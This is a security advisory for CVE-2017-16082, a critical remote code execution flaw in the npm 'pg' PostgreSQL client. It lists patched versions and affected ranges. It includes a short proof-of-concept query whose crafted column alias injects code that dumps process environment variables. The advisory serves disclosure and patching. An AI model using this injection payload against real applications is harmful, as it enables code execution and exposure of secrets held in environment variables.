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Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXdjOXYtbWo2My1tOWc1

Remote Code Execution in pg

Affected versions of pg contain a remote code execution vulnerability that occurs when the remote database or query specifies a crafted column name.

There are two specific scenarios in which it is likely for an application to be vulnerable:

The application executes unsafe, user-supplied sql which contains malicious column names.
The application connects to an untrusted database and executes a query returning results which contain a malicious column name.

Proof of Concept

const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
})

Recommendation

Version 2.x.x: Update to version 2.11.2 or later.
Version 3.x.x: Update to version 3.6.4 or later.
Version 4.x.x: Update to version 4.5.7 or later.
Version 5.x.x: Update to version 5.2.1 or later.
Version 6.x.x: Update to version 6.4.2 or later. ( Note that versions 6.1.6, 6.2.5, and 6.3.3 are also patched. )
Version 7.x.x: Update to version 7.1.2 or later. ( Note that version 7.0.2 is also patched. )

Permalink: https://github.com/advisories/GHSA-wc9v-mj63-m9g5
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXdjOXYtbWo2My1tOWc1
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: almost 6 years ago
Updated: 8 months ago

CVSS Score: 9.8
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-wc9v-mj63-m9g5, CVE-2017-16082
References:

Blast Radius: 53.3

Affected Packages

npm:pg

Dependent packages: 8,927
Dependent repositories: 273,357
Downloads: 21,684,248 last month
Affected Version Ranges: >= 7.1.0, < 7.1.2, >= 7.0.0, < 7.0.2, >= 6.4.0, < 6.4.2, >= 6.3.0, < 6.3.3, >= 6.2.0, < 6.2.5, >= 6.1.0, < 6.1.6, >= 6.0.0, < 6.0.5, >= 5.0.0, < 5.2.1, >= 4.0.0, < 4.5.7, >= 3.0.0, < 3.6.4, < 2.11.2
Fixed in: 7.1.2, 7.0.2, 6.4.2, 6.3.3, 6.2.5, 6.1.6, 6.0.5, 5.2.1, 4.5.7, 3.6.4, 2.11.2
All affected versions: 0.4.1, 0.5.0, 0.5.1, 0.5.2, 0.5.3, 0.5.4, 0.5.5, 0.5.6, 0.5.7, 0.5.8, 0.6.0, 0.6.1, 0.6.2, 0.6.3, 0.6.4, 0.6.5, 0.6.6, 0.6.7, 0.6.8, 0.6.9, 0.6.10, 0.6.11, 0.6.12, 0.6.13, 0.6.14, 0.6.15, 0.6.16, 0.6.17, 0.6.18, 0.7.0, 0.7.1, 0.7.2, 0.8.0, 0.8.1, 0.8.2, 0.8.3, 0.8.4, 0.8.6, 0.8.7, 0.8.8, 0.9.0, 0.10.0, 0.10.2, 0.11.1, 0.11.2, 0.11.3, 0.12.0, 0.12.1, 0.12.3, 0.13.0, 0.13.1, 0.13.3, 0.14.0, 0.14.1, 0.15.0, 0.15.1, 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.1.0, 1.1.1, 1.1.2, 1.1.3, 1.2.0, 1.3.0, 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.4.0, 2.5.0, 2.5.1, 2.6.0, 2.6.1, 2.6.2, 2.7.0, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.8.5, 2.9.0, 2.10.0, 2.11.0, 2.11.1, 3.0.2, 3.0.3, 3.1.0, 3.2.0, 3.3.0, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.4.5, 3.5.0, 3.6.0, 3.6.1, 3.6.2, 3.6.3, 4.0.0, 4.1.0, 4.1.1, 4.2.0, 4.3.0, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 4.4.5, 4.4.6, 4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 4.5.6, 5.0.0, 5.1.0, 6.0.0, 6.0.1, 6.0.2, 6.0.3, 6.0.4, 6.1.0, 6.1.1, 6.1.2, 6.1.3, 6.1.4, 6.1.5, 6.2.2, 6.2.3, 6.2.4, 6.3.0, 6.3.1, 6.4.0, 6.4.1, 7.0.0, 7.0.1, 7.1.0, 7.1.1
All unaffected versions: 2.11.2, 3.6.4, 4.5.7, 5.2.1, 6.0.5, 6.1.6, 6.2.5, 6.3.3, 6.4.2, 7.0.2, 7.0.3, 7.1.2, 7.2.0, 7.3.0, 7.4.0, 7.4.1, 7.4.2, 7.4.3, 7.5.0, 7.6.0, 7.6.1, 7.7.0, 7.7.1, 7.8.0, 7.8.1, 7.8.2, 7.9.0, 7.10.0, 7.11.0, 7.12.0, 7.12.1, 7.13.0, 7.14.0, 7.15.0, 7.15.1, 7.15.2, 7.16.0, 7.16.1, 7.17.0, 7.17.1, 7.18.0, 7.18.1, 7.18.2, 8.0.0, 8.0.1, 8.0.2, 8.0.3, 8.1.0, 8.2.0, 8.2.1, 8.2.2, 8.3.0, 8.3.2, 8.3.3, 8.4.0, 8.4.1, 8.4.2, 8.5.0, 8.5.1, 8.6.0, 8.7.0, 8.7.1, 8.7.3, 8.8.0, 8.9.0, 8.10.0, 8.11.0, 8.11.1, 8.11.2, 8.11.3, 8.11.4, 8.11.5